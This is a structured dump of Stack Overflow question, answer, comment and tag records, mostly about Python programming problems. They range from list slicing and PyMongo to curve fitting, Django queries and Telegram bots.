has comment: http://stackoverflow.com/comment/84355307
has comment: http://stackoverflow.com/comment/84355792
favorite count: 0
has comment: http://stackoverflow.com/comment/84355132
tagged with: python
tagged with: ftdi
has body: For a senior design project, we are looking to use data collected from a spectroscopy unit in conjunction with a PID controller on a Raspberry Pi in order to keep a process under control. The issue we currently face is that we cannot interface the spectroscopy unit and the Raspberry Pi in order to collect data. We are opting to use the PyUSB library to ease this process, but cannot seem to determine several things: What command needs to be sent to the unit to trigger data collection How do we accept the data returned from the machine The spectroscopy unit in question is the PeakSeeker Raman Spectroscopy Unit by Agiltron. Documentation on this is particular unit is sparse and the vendors don't have that deep of a technical background to help. The following is the information that I have either been given or collected: The machine uses an FTDI chip Interface 0 for the machine has two endpoints: a bulk in and a bulk out The only ports on the machine are power, the connection to the spectroscopy sensor and a USB connection The machine has a USB A to USB B cable, which is utilized by a proprietary software on a different PC The following is the code that I've run from my mac when the device is plugged in and no errors are raised: import usb.core import usb.backend.libusb1 dev = usb.core.find(idVendor=0x0403, idProduct=0x6001) ## FTDI chip if dev is None: raise ValueError("No device!") else: print("Successful Connection")

http://stackoverflow.com/q/48755587
tagged with: slice
has comment: http://stackoverflow.com/comment/84512276
answer count: 1
score: 1
accepted answer: http://stackoverflow.com/a/48755641
tagged with: string
linked to: http://stackoverflow.com/q/509211
has comment: http://stackoverflow.com/comment/84512178
favorite count: 0
duplicate of: http://stackoverflow.com/q/509211
has comment: http://stackoverflow.com/comment/84512384
tagged with: python
type: AnsweredQuestion
has title: How does x[::-1] actually work?
upvote count: 2
downvote count: 1
has answer: http://stackoverflow.com/a/48755641
type: Question
has body: Say I have x = 'abcde'. If I write x[::] I get 'abcde', If I write x[::2] I get 'ace'. So the spaces between the colons implies for the first space, "the start of the list" and for the second space "the end of the list". It's as if you were writing x[0:len(x)] right? Okay, so when I write x[::-1] I get the list completely in reverse, i.e. 'edcba'. So what are the equivalent values I could substitute in? x[len(x)-1:0:-1] won't work because the second space is not including that number, so I would get 'edcb' and if I went x[len(x)-1:-1:-1] it would simply do nothing because x[len(x)-1] == x[-1]. Yes, it will always work if I leave the colons in, my confusion comes is what does just having x[::] actually doing, what values is it actually substituting? Because if it were always just "the start of the list and the end of the list" then there's no way it would work for x[::-1], it would simply print nothing, and if it somehow knows to reverse it, then what values is it putting because even if we didn't have the problem of not being able to terminate at the right place (i.e. can't put 0 in the middle space because that wouldn't be include but can't put -1 because that's the end of the list) we have the problem that it should still start at 0, i.e. we should have aedcb instead? Can anyone shed light on the behind the scenes magic here? Thank-you. (Yes I googled for this, and tried to look it up in the docs and could find no explanation to this specific question) edit: The answer to my question can be found in the non accepted answer of Understanding Python&#39;s slice notation, namely, https://stackoverflow.com/a/24713353/4794023. Thanks guys

http://stackoverflow.com/q/48732280
tagged with: pymongo
type: Question
tagged with: mongodb
has answer: http://stackoverflow.com/a/48748211
answer count: 1
has title: How to prevent PyMongo from mutating inserted dict?
score: 0
tagged with: python
tagged with: mongodb-query
has body: If a document doesn't have an _id field, MongoDB automatically assigns a proper _id field for inserted document, I get that and that's fine for me. But why pymongo mutates the inserted dict by adding _id field? I want to use the inserted dict after it gets inserted and that extra _id field is a little bit problem. I know I can use dict.pop('_id') to drop _id field, but if it is a list of documents(for insert_many) then that need an extra effort. My question is, is there a way to prevent the inserted dict or List[dict] being mutated by _id field?
accepted answer: http://stackoverflow.com/a/48748211
type: AnsweredQuestion

http://stackoverflow.com/comment/84515977
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48751920
has text: Try moving the worker object to the thread immediately after creation and before it is ever referenced by anything else. Sometimes things get confused if they're working with an object that hasn't yet been moved to the thread it is to run in.
score: 0

http://stackoverflow.com/q/48660060
tagged with: python
score: 0
tagged with: django
answer count: 1
has title: Django selecting data from model according to other model
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/48660086
has body: i've got django database where is model X with attribute ManyToManyField(Y). Right now I need to select all the data from all the Y which are not related to one selected X. How can I do this by using database and not algorithm? I've used for-cycle but I would like to use more effective and advanced way. Thanks. /SOLVED For situation when there is no relation from Y to X, I found that most efficient is to use command like X.objects.exclude((parameter_of_Y)__in=[element.parameter_of_Y for element in elements])
tagged with: model
type: Question

http://stackoverflow.com/q/48658566
score: 0
has comment: http://stackoverflow.com/comment/84316085
has title: Trigger message when amplitude exceeds value
has answer: http://stackoverflow.com/a/48660308
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/84334421
has body: I am trying to replicate some Matlab code in Python, here is my Matlab code: for k = 1:N if x(k) &gt; 0.6 %triggers, when Amplitude is above 0.6 timeOver = ['Abnormal reading detected at Time ', num2str(t(k)), 's. Please change cutting tool !!']; % creating a warning sign to display when abnormality is present disp(timeOver) % displaying of warning sign h = msgbox(timeOver,'Warning','warn'); break % 'break' command for stopping of 'for' loop end end I made the following replacements: for k = 1:N changed to for k in numpy.arange(0, N, 1) if x(k) &gt; 0.6 changed to if x.k &gt; 0.6 I realised that while in Matlab, disp(k) would produce values while in Python print(k) would produce 0.0 However, the for loop in Matlab produces a message while Python does not produce anything.
type: Question
tagged with: python
accepted answer: http://stackoverflow.com/a/48660308
answer count: 1
tagged with: matlab

http://stackoverflow.com/comment/84496038
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48748014
has text: How did you figure out your code works correctly on your cronjob? Just the fact that your print doesnt output doesnt mean your code runs. The cronjob machine might be erroring out on the `import bs4` statement and you'd never know.
score: 0

http://stackoverflow.com/q/48700017
linked to: http://stackoverflow.com/q/2612802
has answer: http://stackoverflow.com/a/48700186
score: 1
has title: List of lists weird python issue
favorite count: 0
duplicate of: http://stackoverflow.com/q/2612802
type: Question
linked to: http://stackoverflow.com/q/240178
tagged with: python
answer count: 1
tagged with: list
upvote count: 1
has comment: http://stackoverflow.com/comment/84398665
has body: list= [] x = ['A', 'B', 'C', 'D', 'E', 'F', 'G'] for i in range(2): list.append(x) list[0][0]="x" print list And after printing I get this: [['x', 'B', 'C', 'D', 'E', 'F', 'G'], ['x', 'B', 'C', 'D', 'E', 'F', 'G']] The first item in every list was replaced by 'x' whereas I only wanted the first item in the first list to be replaced by 'x'(hence the line list[0][0]="x")
downvote count: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/84398883
tagged with: python-2.7

http://stackoverflow.com/q/48725413
answer count: 1
has body: Say I want to fit a sine function using scipy.optimize.curve_fit. I don't know any parameters of the function. To get the frequency, I do Fourier transform and guess all the other parameters - amplitude, phase, and offset. When running my program, I do get a fit but it does not make sense. What is the problem? Any help will be appreciated. import numpy as np import matplotlib.pyplot as plt import scipy as sp ampl = 1 freq = 24.5 phase = np.pi/2 offset = 0.05 t = np.arange(0,10,0.001) func = np.sin(2*np.pi*t*freq + phase) + offset fastfft = np.fft.fft(func) freq_array = np.fft.fftfreq(len(t),t[0]-t[1]) max_value_index = np.argmax(abs(fastfft)) frequency = abs(freq_array[max_value_index]) def fit(a, f, p, o, t): return a * np.sin(2*np.pi*t*f + p) + o guess = (0.9, frequency, np.pi/4, 0.1) params, fit = sp.optimize.curve_fit(fit, t, func, p0=guess) a, f, p, o = params fitfunc = lambda t: a * np.sin(2*np.pi*t*f + p) + o plt.plot(t, func, 'r-', t, fitfunc(t), 'b-')
tagged with: curve-fitting
tagged with: python
accepted answer: http://stackoverflow.com/a/48725696
type: AnsweredQuestion
tagged with: scipy
type: Question
tagged with: numpy
tagged with: scipy-optimize
has title: Scipy.optimize.curve_fit does not fit
score: 0
has answer: http://stackoverflow.com/a/48725696

http://stackoverflow.com/comment/84321924
comment on: http://stackoverflow.com/q/48662261
has text: like this {{i}} and you need to mention that into urls.py
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/113287015
type: Comment
score: 0
has text: Note that using `CI_JOB_TOKEN` is now (Sept. 2020, GitLab 13.4) possible. See my [revised answer below](https://stackoverflow.com/a/61395192/6309).
comment on: http://stackoverflow.com/q/48681816
type: QuestionComment

http://stackoverflow.com/q/48721506
has comment: http://stackoverflow.com/comment/84443641
score: 0
answer count: 1
tagged with: scikit-image
tagged with: ubuntu
has body: In short, my question is, how do I install the latest version of scikit-image into my usr/lib/python3/dist-packages so I can actually use it? I think there is a problem with my understanding of how third-party modules are installed. As a newb, I don’t know how to rectify that, hence this post. I need help to understand how to install packages in python3 up until now I have used pip/pip3/apt-get/synaptic etc and it has worked fine for many packages. However, I have hit several barriers (Skimage, opencv, plantcv in python3). I must emphasise, the problem I am having is using these packages in python3, not 2.7. For example, I want to use the latest version of scikit-image (0.14) with python3. (http://scikit-image.org/) I have tried using the installation instructions and have not yet successfully managed to install it. I have navigated to my usr/lib/python3/dist-packages and copied scikit-image into this directory (I have all the dependencies installed in here already). Image of my folder for dist-packages as proof As you can see, the folder containing skimage is in the directory I want to be installed in, how do I actually install it? Do I have to extract skimage out of the folder into the directory and then run the install command? If I navigate to usr/lib/python3/dist-packages/scikit-image and then run pip install -e . I get an error, stating that I need numpy. If I write a python script using python3 I can clearly see I have it installed (and I have been using it for a long time). So, there must be a problem in how I have this package in my file system. I think a janky workaround would be to copy all the modules into my working directory and Import them that way as if they were modules I have made myself, but this obviously negates the whole point of installing packages. This has also happened with another package called plantcv. Where I went into the directory usr/lib/python3/dist-packages then cloned the source from git hub and installed as per instructions. When…
has comment: http://stackoverflow.com/comment/84441871
has answer: http://stackoverflow.com/a/48721681
type: UnansweredQuestion
type: Question
has comment: http://stackoverflow.com/comment/84441869
tagged with: python
has title: Installing third party modules in python3 - Ubuntu
tagged with: installation

http://stackoverflow.com/q/48727329
tagged with: python-3.x
type: Question
tagged with: python
answer count: 1
has answer: http://stackoverflow.com/a/48727365
score: 0
accepted answer: http://stackoverflow.com/a/48727365
tagged with: arrays
type: AnsweredQuestion
has body: I am new in python and struggling to write a function that takes a Python bytearray as an argument and computes the proportion of ones in it. So far I have tried below-mentioned code: def cal_bit_proportion(test): test = bytearray( 2 ) test[ 0 ] = 0b00000000 test[ 1 ] = 0b00000001 # bp = (need to calculate the proportion) return bp # bp means bit proportion It would be really great if someone helps me to solve it by using python 3.4+, or redirect me to appropriate source from where I can learn it.
has title: How to write a function that takes a Python bytearray as argument and computes the proportion

http://stackoverflow.com/a/48689811
has comment: http://stackoverflow.com/comment/84379352
answers question: http://stackoverflow.com/q/48689683
has comment: http://stackoverflow.com/comment/84378827
has comment: http://stackoverflow.com/comment/84379257
has comment: http://stackoverflow.com/comment/84378868
has comment: http://stackoverflow.com/comment/84378667
has body: on this code : print '...connected from: ', addr you cant use this code, for know open port you need use this code: print '...connect from: ' + addr[0] + ':' + str(addr[1]) only that and you arnt using the sockets coorectly: serversock = socket(AF_INET, SOCK_STREAM) use this its will be better: serversock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
has comment: http://stackoverflow.com/comment/84379395
has comment: http://stackoverflow.com/comment/84378518
score: 0
type: Answer
has comment: http://stackoverflow.com/comment/84382693
has comment: http://stackoverflow.com/comment/84378646

apache
tags question: http://stackoverflow.com/q/48801988
tag name: apache
tags question: http://stackoverflow.com/q/48716612
tags question: http://stackoverflow.com/q/48739797
tags question: http://stackoverflow.com/q/48686801
tags question: http://stackoverflow.com/q/48679698
type: Tag
tags question: http://stackoverflow.com/q/48673359
tags question: http://stackoverflow.com/q/48734227
tags question: http://stackoverflow.com/q/48779890

http://stackoverflow.com/a/48713474
score: 1
has body: You can using duplicated df.groupby('date').id.transform(lambda x : x.duplicated(keep=False).sum()) Out[208]: 0 2 1 2 2 2 3 2 4 2 5 2 6 2 7 2 8 2 Name: id, dtype: int64
has comment: http://stackoverflow.com/comment/124982274
accepted answer of: http://stackoverflow.com/q/48713347
upvote count: 1
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/124982241
answers question: http://stackoverflow.com/q/48713347
type: Answer
downvote count: 0

http://stackoverflow.com/q/48775260
score: -1
tagged with: operating-system
downvote count: 1
answer count: 1
has body: Disclaimer: I'm absolutely a beginner to python outside of arcpy. I'm trying to save some time uploading many file attachments to some GIS data layers. I've got a folder of files that I need to index and then join to another table using that index. The unique identifier that matches the column I want to base the join on is the seven characters at the start of the file name. I'm using python, and it seems like os is the way to do this. I haven't been able to find a good example about how to break out identifiers within file name as a variable. For example: If my files are 11-2232easement.pdf, 43-5223deed.pdf, 44-2321grant.pdf, how would I loop through this kind of file list and create a variable that is essentially is the first seven characters of each file?
favorite count: 0
has answer: http://stackoverflow.com/a/48775533
accepted answer: http://stackoverflow.com/a/48775533
tagged with: python
type: AnsweredQuestion
upvote count: 0
has comment: http://stackoverflow.com/comment/84553372
has title: How do I use a part of a file name in python as a unique identifier on which to base a join?
type: Question

http://stackoverflow.com/comment/84500273
comment on: http://stackoverflow.com/q/48749711
score: 0
type: Comment
type: QuestionComment
has text: Sorry,it was missclick,removed

http://stackoverflow.com/q/48653496
downvote count: 2
has body: I am trying to make a simple food game/questionnaire, and the code keeps printing both lines. I want to have it print one or the other, and no matter what I try, I get the same end result. I am also using Tkinter. (Those of you that do not know, don't worry... This is for those that know what Tkinter does/is.) Here is my code: def Waffles(): input ("Do you like Waffles? ") if input is not ('yes'): print ("Ok, so you don't like Waffles...") input ("Do you like Pancakes? ") if input is not ('no'): print ("Then let's fix some!!!") if input is ("no") or ("No"): print ("Ok, so you don't like Pancakes...") input ("Do you like French Toast? ") if input is not ("no"): print ("Then let's fix some!!!") if input is not 'yes': food = input ("Then what do you like? ") print ("Oh! Ok.") Here is what gets printed: Do you like Waffles? no Ok, so you don't like Waffles... Do you like Pancakes? no Then let's fix some!!! Ok, so you don't like Pancakes... Do you like French Toast? no Then let's fix some!!! Then what do you like? food Oh! Ok. Can you help me make this print one or the other? ("Then let's fix some!!!" and "Do you like __________").
linked to: http://stackoverflow.com/q/15112125
type: Question
accepted answer: http://stackoverflow.com/a/48653770
has comment: http://stackoverflow.com/comment/84305261
possible better answer: http://stackoverflow.com/a/48653671
score: -2
has comment: http://stackoverflow.com/comment/84305298
tagged with: python-3.6
has comment: http://stackoverflow.com/comment/84305318
answer count: 2
upvote count: 0
favorite count: 0
has comment: http://stackoverflow.com/comment/84305263
has answer: http://stackoverflow.com/a/48653770
duplicate of: http://stackoverflow.com/q/15112125
has comment: http://stackoverflow.com/comment/84305223
tagged with: python
linked to: http://stackoverflow.com/q/1504717
has title: How do I make this small, but simple food questionnaire work?
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/48653671
has comment: http://stackoverflow.com/comment/84305467

http://stackoverflow.com/q/48748070
tagged with: proxy
upvote count: 13
has comment: http://stackoverflow.com/comment/90586827
answer count: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/90565073
score: 13
tagged with: python
linked to: http://stackoverflow.com/q/58241993
has comment: http://stackoverflow.com/comment/90606240
has body: I need to connect to existing database from SQLAlchemy via proxy. self.DB = { 'drivername': 'oracle', 'host': url, 'port': port, 'username': username, 'password': password, 'database': dbname } _engine = create_engine(URL(**self.DB)) self.connection = _engine.connect() I'm getting: cx_Oracle.DatabaseError: ORA-12170: TNS:Connect timeout occurred And I'm pretty sure I just need proxy because of my company policy. I couldn't find any tips in documentation how can I create connection via proxy.
tagged with: sqlalchemy
type: Question
has comment: http://stackoverflow.com/comment/90559018
downvote count: 0
has comment: http://stackoverflow.com/comment/90608105
has title: SQLAlchemy connection via proxy
favorite count: 0

http://stackoverflow.com/q/48648205
has title: telegram bot: how should i get user feedback after forcereply?
type: AnsweredQuestion
tagged with: py-telegram-bot-api
possible better answer: http://stackoverflow.com/a/60232219
has answer: http://stackoverflow.com/a/60232219
type: Question
accepted answer: http://stackoverflow.com/a/48690178
score: 0
answer count: 2
has comment: http://stackoverflow.com/comment/84306709
tagged with: telegram
has answer: http://stackoverflow.com/a/48690178
has body: #!/usr/bin/env python3 #-*- encoding: utf-8 -*- from apikey import tgbottoken,authedchat from telebot import types import telebot,logging bot =telebot.TeleBot(tgbottoken) telebot.logger.setLevel(logging.DEBUG) def extract_arg(arg): return arg.split()[1:] @bot.message_handler(commands=['newmail']) def mailwithsg(msg): cid = msg.chat.id sendto = types.ForceReply(selective=False) bot.send_message(cid, "Send me another word:", reply_markup=sendto) bot.polling(none_stop=True) after I use the methods and send a reply markup message, how should I get user's reply text (like user feedback)? which method should I use? I now use pyTelegramBotAPI as a Python Wrapper.
tagged with: python

http://stackoverflow.com/comment/84297394
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/48647582
type: Comment
has text: @pure_true: using sys.getfilesystemcoding("encoding") should be then enforeced to take an encoding pattern, which you need to identify from your file.

http://stackoverflow.com/a/48693957
type: AcceptedAnswer
downvote count: 0
type: Answer
upvote count: 3
has body: For what you're describing you don't need the lookbehind, just a pattern before "ing" that doesn't have any spaces: r"I am ([a-zA-Z]+)ing"
score: 3
accepted answer of: http://stackoverflow.com/q/48693804
answers question: http://stackoverflow.com/q/48693804

http://stackoverflow.com/comment/108981938
comment on: http://stackoverflow.com/a/48774686
has text: Which css you are using?
score: 0
type: AnswerComment
type: Comment

subnet
tags question: http://stackoverflow.com/q/48722464
tag name: subnet
type: Tag

http://stackoverflow.com/q/48701221
has body: I try to xpath the field partner_id which is inside of an one2many_list widget. Somehow noone of the paths i tried causes any changes. @api.model def fields_view_get(self, view_id=None, view_type='form', toolbar=False, submenu=False): res = super(AccountMove, self).fields_view_get( view_id=view_id, view_type=view_type, toolbar=toolbar, submenu=submenu) doc = etree.XML(res['arch']) for node in doc.xpath("//page//field//tree//field[@name='partner_id']"): if not self._is_group_8(): node.set('options', "{'no_open': True ,'no_create_edit': True}") res['arch'] = etree.tostring(doc) return res Thats the whole view which contains the mentioned field. <?xml version="1.0"?> This one --> The python code itself is working, cause i am using the same for other fields. Any suggestions how to solve this? EDIT: Its possible to modify the field with the xpath method in xml file like this: But this path is not working in my python method, the field does not change. Does anyone know how to get this done with python?
answer count: 2
has answer: http://stackoverflow.com/a/48720723
upvote count: 1
has answer: http://stackoverflow.com/a/48961664
has comment: http://stackoverflow.com/comment/84401257
tagged with: odoo
tagged with: odoo-9
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/84401595
downvote count: 0
score: 1
has title: Can't xpath field inside one2many_list widget
favorite count: 0
type: Question
tagged with: python
tagged with: http://stackoverflow.com/tag/xml
tagged with: xpath

http://stackoverflow.com/q/48748987
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/84498737
tagged with: network-programming
score: -2
has comment: http://stackoverflow.com/comment/84499676
has body: I made a simple multiplayer chat with python and PodSixNet, and it works perfectly when I run it on different terminals on my computer. But when I'm trying to connect to the same chat from different computer, I permanently get disconnected. What could I be doing wrong? I run the server on 0.0.0.0:8000 and the clients on localhost:8000 (though tried localhost on both and 0.0.0.0 on both. still nothing). The computers are connected to the same wi-fi.
has comment: http://stackoverflow.com/comment/84499136
has comment: http://stackoverflow.com/comment/84499415
has comment: http://stackoverflow.com/comment/84498999
downvote count: 2
has answer: http://stackoverflow.com/a/49255840
has title: PodSixNet: can't make connection from different computers
answer count: 1
has comment: http://stackoverflow.com/comment/84498294
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/84499038
tagged with: python
has comment: http://stackoverflow.com/comment/84498548
has comment: http://stackoverflow.com/comment/84498982
upvote count: 0

http://stackoverflow.com/q/48784935
answer count: 1
favorite count: 0
accepted answer: http://stackoverflow.com/a/48792640
has comment: http://stackoverflow.com/comment/84575321
tagged with: python
has comment: http://stackoverflow.com/comment/84575476
has answer: http://stackoverflow.com/a/48792640
type: AnsweredQuestion
score: 3
tagged with: performance
upvote count: 3
tagged with: cython
has comment: http://stackoverflow.com/comment/84572397
type: Question
has comment: http://stackoverflow.com/comment/84585948
has comment: http://stackoverflow.com/comment/84572761
has title: Why is the build-in array.fromlist() slower than cython-code?
downvote count: 0
has body: Often, when gluing Python and C-code together, one needs to convert a Python-list to a continuous memory, e.g. an array.array. It's also not unusual, that this conversion step becomes the bottle-neck, so I find myself doing silly things with Cython because it is faster than the build-in Python solutions. For example to convert a Python-list lst to an int32 continuous memory I'm aware of two possibilities: a=array.array('i', lst) and a=array.array('i'); a.fromlist(lst) They are however both slower than the following cython-version: %%cython import array from cpython cimport array def array_from_list_iter(lst): cdef Py_ssize_t n=len(lst) cdef array.array res=array.array('i') cdef int cnt=0 array.resize(res, n) #preallocate memory for i in lst: res.data.as_ints[cnt]=i cnt+=1 return res My timings show (Linux, Python3.6 but the results are very similar for Windows and/or Python2.7), that the cython-solution is about 6 times faster: Size new_array from_list cython_iter factor 1 284ns 347ns 176ns 1.6 10 599ns 621ns 209ns 2.9 10**2 3.7µs 3.5µs 578ns 6.1 10**3 38.5µs 32µs 4.3µs 7.4 10**4 343µs 316µs 40.4µs 7.8 10**5 3.5ms 3.4ms 481µs 7.1 10**6 34.1ms 31.5ms 5.0ms 6.3 10**7 353ms 316ms 53.3ms 5.9 With my limited understanding of CPython, I would say that the from_list-solution uses this build-in function: static PyObject * array_array_fromlist(arrayobject *self, PyObject *list) { Py_ssize_t n; if (!PyList_Check(list)) { PyErr_SetString(PyExc_TypeError, "arg must be list"); return NULL; } n = PyList_Size(list); if (n &gt; 0) { Py_ssize_t i, old_size; old_size = Py_SIZE(self); if (array_resize(self, old_size + n) == -1) return NULL; for (i = 0; i &lt; n; i++) { PyObject *v = PyList_GetItem(list, i); if ((*self-&gt;ob_descr-&gt;setitem)(self, Py_SIZE(self) - n + i, v) != 0) { array_resize(self, old_size); return NULL; } } } Py_RETURN_NONE; } a=array.array('i', lst) grows dynamically and needs to reallocate, so that could explain some slow-down (yet as the measurements show, not…

http://stackoverflow.com/q/48671122
answer count: 1
has comment: http://stackoverflow.com/comment/103626558
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/53051474
tagged with: python
type: Question
has title: How to disable response caching in Falcon Framework?
tagged with: falconframework
has body: I'm developing an API so I need to make several tests on routes, but Falcon is caching my responses, even if I change data on the db I wont show on a response until a restart the server (in this case waitress). I'm on Windows right now, so I cant use gunicorn.
score: 0

http://stackoverflow.com/q/48680916
has body: Is there any difference between datetime.today() and datetime.now()? Using them lately has proved that there is none.
accepted answer: http://stackoverflow.com/a/48680951
has comment: http://stackoverflow.com/comment/91917607
linked to: http://stackoverflow.com/q/32298332
has comment: http://stackoverflow.com/comment/84358910
answer count: 1
downvote count: 0
has comment: http://stackoverflow.com/comment/84359243
favorite count: 0
linked to: http://stackoverflow.com/q/6545254
has answer: http://stackoverflow.com/a/48680951
has comment: http://stackoverflow.com/comment/119346798
has comment: http://stackoverflow.com/comment/119374497
tagged with: datetime
tagged with: python
upvote count: 4
type: AnsweredQuestion
type: Question
linked to: http://stackoverflow.com/q/32517248
duplicate of: http://stackoverflow.com/q/32298332
score: 4
has comment: http://stackoverflow.com/comment/84358903
has title: What is the difference between datetime.now() and datetime.today() in Python

http://stackoverflow.com/comment/84557980
comment on: http://stackoverflow.com/a/48773665
has text: Thanks, any idea how to fix this?
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/q/48756326
has answer: http://stackoverflow.com/a/48756377
downvote count: 0
has title: Web scraping results in 403 Forbidden Error
score: 4
favorite count: 0
tagged with: beautifulsoup
possible better answer: http://stackoverflow.com/a/48756377
tagged with: python
accepted answer: http://stackoverflow.com/a/48756483
has body: I'm trying to web scrape the earnings for each company off SeekingAlpha using BeautifulSoup. However, it seems like the site is detecting that a web scraper is being used? I get a "HTTP Error 403: Forbidden" The page I'm attempting to scrape is: https://seekingalpha.com/symbol/AMAT/earnings Does anyone know what can be done to bypass this?
tagged with: python-3.x
tagged with: web-scraping
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/49023958
type: Question
upvote count: 4
has answer: http://stackoverflow.com/a/48756483
answer count: 3

http://stackoverflow.com/q/48700775
answer count: 0
downvote count: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/84405862
type: Question
has comment: http://stackoverflow.com/comment/84402941
has body: I am going through a python code which uses the hug framework as shown below: @hug.post("/{scan_id}/files", versions=1, input_format=hug.input_format.multipart) def add_files(request, scan_id: uuid): pass Now the above code works fine if I do a curl request with multi part form with files. Now I would like to reuse the same function add_files in a different place, but I noticed this part scan_id: uuid. I don't understand how an argument can be like this. Can anyone provide any insight into this syntax?
score: 1
duplicate of: http://stackoverflow.com/q/32557920
upvote count: 1
favorite count: 0
has title: what is the meaning of providing : in python functions
tagged with: python
has comment: http://stackoverflow.com/comment/84402121
has comment: http://stackoverflow.com/comment/84402010
tagged with: hug

http://stackoverflow.com/comment/84570428
type: AnswerComment
has text: that fixed the problem for now. Thank you very much. I'll update as the training goes on.
type: Comment
comment on: http://stackoverflow.com/a/48781437
score: 0

http://stackoverflow.com/q/48668127
has answer: http://stackoverflow.com/a/48668213
upvote count: 1
accepted answer: http://stackoverflow.com/a/48668204
has answer: http://stackoverflow.com/a/48668244
type: Question
tagged with: for-loop
has body: I have a dictionary which includes nested dictionaries that look similar to this: mydict = {'1': {'agent': 'xxxxxx', 'manager': 'aaaaaa'}, '2': {'agent': '22222', 'manager': 'bbbbb'}, '3': {'agent': 'zxzx', 'manager': 'aqaq'}} I need to iterate through the dictionary, pulling out the value for agent, and the value for manager, but I'm not having much success in trying. Here's what I have now: for i in mydict: agent = i['agent'] manager = i['manager'] (here is where I do stuff with those variables) This seems to work only for the first entry in the dictionary, and then the loop exits.
has answer: http://stackoverflow.com/a/48668272
has comment: http://stackoverflow.com/comment/84334017
downvote count: 0
favorite count: 0
has answer: http://stackoverflow.com/a/48668204
tagged with: python
tagged with: dictionary
has comment: http://stackoverflow.com/comment/84334025
answer count: 4
type: AnsweredQuestion
has title: Iterate though dictionaries
possible better answer: http://stackoverflow.com/a/48668213
score: 1

http://stackoverflow.com/comment/84578043
has text: Unless you are doing this strictly for learning purposes you will spend a lot of time re-inventing the wheel. Just use sr-research's converter program, and then spend your python programming time parsing the asc file where you can more easily see what you are doing. You could still call the conversion script from within your python script. Here is the link to their program if you don't have it: http://download.sr-support.com/dispdoc/page25.html
type: Comment
type: QuestionComment
score: 1
comment on: http://stackoverflow.com/q/48784257

http://stackoverflow.com/comment/116872288
type: Comment
has text: Thanks for the reply, but my environment directory does not contain `Scripts`. It contains directories called `bin`, `include`, `lib`, `lib64` (link only) and `share`. `bin` does contain something called `activate` but it has no '.bat' extension.
comment on: http://stackoverflow.com/a/48742351
type: AnswerComment
score: 0

minimax
type: Tag
tag name: minimax
tags question: http://stackoverflow.com/q/48677600

http://stackoverflow.com/comment/136117711
has text: you saved 1000 hours!
score: 1
type: AnswerComment
comment on: http://stackoverflow.com/a/70317144
type: Comment

http://stackoverflow.com/q/48713440
downvote count: 0
score: 1
has title: U-SQL Python Reducer __init__.py already exists error
has comment: http://stackoverflow.com/comment/84425976
favorite count: 0
tagged with: u-sql
tagged with: python
has body: The first time I run a U-SQL script containing a Python reducer, it runs successfully: "Completed with 'Success' : 2/9/2018 3:06:12 PM" The second time I run a U-SQL script containing a Python Reducer I receive this error: "An unhandled exception from user code has been reported when invoking the method 'Constructor' on the user type 'Extension.Python.Reducer'","description":"Unhandled exception from user code: \"The file 'C:\Users\ThomasHepner\...\Debug\TestScripts\IrisNulls\XDRReader\__init__.py' already exists." If I go to the folder path and delete the IrisNull folder, I can rerun the U-SQL script successfully, without error. Does anyone know how to fix this problem without manually deleting the folder containing the init.py file?
answer count: 0
type: UnansweredQuestion
upvote count: 1
has comment: http://stackoverflow.com/comment/84432450
has comment: http://stackoverflow.com/comment/84426215
type: Question

http://stackoverflow.com/q/48799955
type: Question
has comment: http://stackoverflow.com/comment/84602704
answer count: 3
downvote count: 0
has body: i'm just learning python 3 now. '''It's ask the user for two string and find the Hamming distance between the strings.Input sequences should only include nucleotides ‘A’, ’T’, ‘G’ and ‘C’. Program should ask the user to reenter the sequence if user enter an invalid character.Program should be able to compare the strings are of same length. If the strings are not of the same length program should ask the user to enter the strings again.User should be able to enter upper, lower or both cases as an input ''' The program should print the output in the following format: please enter string one: GATTACA please enter string two: GACTATA GATTACA || || | GACTATA The hamming distance of sequence GATTACA and GACTATA is 2 So the Hamming distance is 2. What I already try below, but could not get answer. def hamming_distance(string1, string2): string1 = input("please enter first sequence") string2 = input("please enter second sequence") distance = 0 L = len(string1) for i in range(L): if string1[i] != string2[i]: distance += 1 return distance
favorite count: 0
tagged with: python-3.x
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/48800045
tagged with: python
has answer: http://stackoverflow.com/a/54428546
has title: find the Hamming distance between two DNA strings
has answer: http://stackoverflow.com/a/57090113
score: 7
tagged with: hamming-distance
upvote count: 7
has comment: http://stackoverflow.com/comment/84603390

http://stackoverflow.com/a/48710839
accepted answer of: http://stackoverflow.com/q/48710431
has comment: http://stackoverflow.com/comment/84431044
score: 0
has comment: http://stackoverflow.com/comment/84425646
has comment: http://stackoverflow.com/comment/84430933
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/84427098
has comment: http://stackoverflow.com/comment/84426712
has comment: http://stackoverflow.com/comment/84430511
type: Answer
has comment: http://stackoverflow.com/comment/84421437
